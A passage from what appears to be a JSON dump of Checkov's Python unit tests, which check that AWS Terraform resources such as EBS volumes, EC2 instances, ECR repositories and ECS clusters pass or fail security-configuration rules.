    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EBSDefaultEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEBSDefaultEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EBSDefaultEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ebs_encryption_by_default.enabled\",\n            \"aws_ebs_encryption_by_default.default\",\n            \"aws_ebs_encryption_by_default.null\",\n        }\n        failing_resources = {\n            \"aws_ebs_encryption_by_default.disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EBSEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EBSEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEBSEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EBSEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ebs_volume.enabled\",\n        }\n        failing_resources = {\n            \"aws_ebs_volume.default\",\n            \"aws_ebs_volume.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EBSSnapshotCopyEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EBSSnapshotCopyEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestEBSSnapshotCopyEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EBSSnapshotCopyEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ebs_snapshot_copy.pass\",\n        }\n        failing_resources = {\n            \"aws_ebs_snapshot_copy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EBSVolumeEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EBSVolumeEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestEBSVolumeEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EBSVolumeEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ebs_volume.pass\",\n        }\n        failing_resources = {\n            \"aws_ebs_volume.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EC2Credentials.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EC2Credentials import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEC2Credentials(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EC2Credentials\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_instance.pass\",\n            \"aws_launch_template.pass\",\n            \"aws_launch_configuration.pass\"\n        }\n        failing_resources = {\n            \"aws_instance.fail\",\n            \"aws_launch_template.fail\",\n            \"aws_launch_configuration.fail\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EC2DetailedMonitoringEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.EC2DetailedMonitoringEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestEC2PublicIP(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_instance\" \"test\" {\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_instance']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_launch_template\" \"test\" {\n                monitoring = false\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_launch_template']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_aws_instance(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_instance\" \"test\" {\n                monitoring = true\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_instance']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EC2EBSOptimized.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.EC2EBSOptimized import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestEC2EBSOptimized(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_instance\" \"foo\" {\n              subnet_id   = some_id\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_instance']['foo']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_default(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_instance\" \"foo\" {\n              subnet_id     = some_id\n              ebs_optimized = true\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_instance']['foo']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_EC2PublicIP.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.EC2PublicIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestEC2PublicIP(unittest.TestCase):\n    @mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"True\"})\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_EC2PublicIP\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_instance.default\",\n            \"aws_instance.private\",\n            \"aws_launch_template.default\",\n            \"aws_launch_template.private\",\n            \"aws_instance.public_foreach[\\\"key2\\\"]\",\n            \"aws_instance.public_foreach_loop_list[\\\"k\\\"]\",\n            \"aws_instance.public_foreach_loop_list[\\\"v\\\"]\",\n            \"aws_instance.public_foreach_loop_list_of_dicts[\\\"private\\\"]\",\n        }\n        failing_resources = {\n            \"aws_instance.public\",\n            \"aws_launch_template.public\",\n            \"aws_instance.public_foreach[\\\"key1\\\"]\",\n            \"aws_instance.public_foreach_loop[\\\"key3\\\"]\",\n            \"aws_instance.public_foreach_loop[\\\"key4\\\"]\",\n            \"aws_instance.public_foreach_loop_list_of_dicts[\\\"public\\\"]\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    @mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\": \"True\"})\n    def test_for_each_poc(self):\n        test_files_dir = Path(__file__).parent / \"example_EC2PublicIP_foreach\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"module.s3_module[\\\"a\\\"].aws_instance.poc_modules_foreach[\\\"key2\\\"]\",\n            \"module.s3_module[\\\"b\\\"].aws_instance.poc_modules_foreach[\\\"key2\\\"]\",\n        }\n        failing_resources = {\n            \"module.s3_module[\\\"a\\\"].aws_instance.poc_modules_foreach[\\\"key1\\\"]\",\n            \"module.s3_module[\\\"b\\\"].aws_instance.poc_modules_foreach[\\\"key1\\\"]\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECRImageScanning.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.ECRImageScanning import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestECRImageScanning(unittest.TestCase):\n\n    def test_failure(self):\n        resource_conf = {'name': ['bar'], 'image_tag_mutability': ['MUTABLE']}\n\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        resource_conf = {'name': ['bar'], 'image_tag_mutability': ['MUTABLE'],\n                         'image_scanning_configuration': [{'scan_on_push': [True]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECRImmutableTags.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECRImmutableTags import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECRImmutableTags(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECRImmutableTags\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecr_repository.enabled\",\n        }\n        failing_resources = {\n            \"aws_ecr_repository.default\",\n            \"aws_ecr_repository.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECRPolicy.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECRPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECRPolicy(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECRPolicy\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecr_repository_policy.pass\",\n            \"aws_ecr_repository_policy.empty\",\n            \"aws_ecr_repository_policy.pass_conditional\",\n            \"aws_ecr_repository_policy.cond_any_pass\",\n            \"aws_ecr_repository_policy.cond_equals_pass\",\n            \"aws_ecr_repository_policy.pass_without_principal\"\n        }\n        failing_resources = {\n            \"aws_ecr_repository_policy.fail\",\n            \"aws_ecr_repository_policy.fail_conditional\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECRRepositoryEncrypted.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.ECRRepositoryEncrypted import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestECRRepositoryEncrypted(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_ecr_repository\" \"foo\" {\n                  name                 = \"bar\"\n                  image_tag_mutability = \"MUTABLE\"\n                \n                  image_scanning_configuration {\n                    scan_on_push = true\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_ecr_repository']['foo']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_ecr_repository\" \"foo\" {\n                  name                 = \"bar\"\n                  image_tag_mutability = \"MUTABLE\"\n\n                  image_scanning_configuration {\n                    scan_on_push = true\n                  }\n                  \n                  encryption_configuration {\n                    encryption_type = \"KMS\"\n                  }\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_ecr_repository']['foo']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSClusterContainerInsights.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.ECSClusterContainerInsights import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestECSClusterContainerInsights(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            resource \"aws_ecs_cluster\" \"my_cluster\" {\n                name = \"white-hart\"\n            }\n            \"\"\"\n        )\n        resource_conf = hcl_res['resource'][0]['aws_ecs_cluster']['my_cluster']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_explicit_disable(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            resource \"aws_ecs_cluster\" \"my_cluster\" {\n                name = \"white-hart\"\n                setting {\n                    name = \"containerInsights\"\n                    value = \"disabled\"\n                }\n            }\n            \"\"\"\n        )\n        resource_conf = hcl_res['resource'][0]['aws_ecs_cluster']['my_cluster']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            resource \"aws_ecs_cluster\" \"my_cluster\" {\n                name = \"white-hart\"\n                setting {\n                    name = \"containerInsights\"\n                    value = \"enabled\"\n                }\n            }\n            \"\"\"\n        )\n        resource_conf = hcl_res['resource'][0]['aws_ecs_cluster']['my_cluster']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_enhanced(self):\n        hcl_res = hcl2.loads(\n            \"\"\"\n            resource \"aws_ecs_cluster\" \"my_cluster\" {\n                name = \"white-hart\"\n                setting {\n                    name = \"containerInsights\"\n                    value = \"enhanced\"\n                }\n            }\n            \"\"\"\n        )\n        resource_conf = hcl_res['resource'][0]['aws_ecs_cluster']['my_cluster']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSClusterLoggingEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSClusterLoggingEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECSClusterLoggingEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECSClusterLoggingEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecs_cluster.pass\",\n            \"aws_ecs_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_ecs_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSClusterLoggingEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSClusterLoggingEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECSClusterLoggingEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECSClusterLoggingEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecs_cluster.pass\",\n            \"aws_ecs_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_ecs_cluster.fail\",\n            \"aws_ecs_cluster.fail2\",\n            \"aws_ecs_cluster.fail3\",\n            \"aws_ecs_cluster.fail4\",\n            \"aws_ecs_cluster.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSContainerHostProcess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSContainerHostProcess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECSContainerHostProcess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECSContainerHostProcess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecs_task_definition.pass\",\n            \"aws_ecs_task_definition.pass2\"\n        }\n        failing_resources = {\n            \"aws_ecs_task_definition.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSContainerPrivilege.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSContainerPrivilege import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECSContainerPrivilege(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECSContainerPrivilege\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecs_task_definition.pass\"\n        }\n        failing_resources = {\n            \"aws_ecs_task_definition.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSContainerReadOnlyRoot.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSContainerReadOnlyRoot import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECSContainerReadOnlyRoot(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECSContainerReadOnlyRoot\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecs_task_definition.pass\",\n        }\n        failing_resources = {\n            \"aws_ecs_task_definition.fail\",\n            \"aws_ecs_task_definition.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSServiceFargateLatest.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSServiceFargateLatest import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECSServiceFargateLatest(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ECSServiceFargateLatest\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecs_service.pass\",\n            \"aws_ecs_service.pass2\",\n        }\n        failing_resources = {\n            \"aws_ecs_service.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSServicePublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ECSServicePublicIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestECSServicePublicIP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ECSServicePublicIP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ecs_service.pass\",\n            \"aws_ecs_service.pass2\",\n        }\n        failing_resources = {\n            \"aws_ecs_service.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ECSTaskDefinitionEFSVolumeEncryption.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.ECSTaskDefinitionEFSVolumeEncryption import check\nimport hcl2\n\nclass TestECSTaskDefinitionEFSVolumeEncryption(unittest.TestCase):\n\n    def test_success_no_volume(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_ecs_task_definition\" \"test\" {\n  family                = \"service\"\n  container_definitions = file(\"task-definitions/service.json\")\n\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n\n  placement_constraints {\n    type       = \"memberOf\"\n    expression = \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\"\n  }\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_ecs_task_definition']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_ecs_task_definition\" \"test\" {\n  family                = \"service\"\n  container_definitions = file(\"task-definitions/service.json\")\n\n  volume {\n    name = \"service-storage\"\n\n    efs_volume_configuration {\n      file_system_id          = aws_efs_file_system.fs.id\n      root_directory          = \"/opt/data\"\n      transit_encryption      = \"ENABLED\"\n      transit_encryption_port = 2999\n      authorization_config {\n        access_point_id = aws_efs_access_point.test.id\n        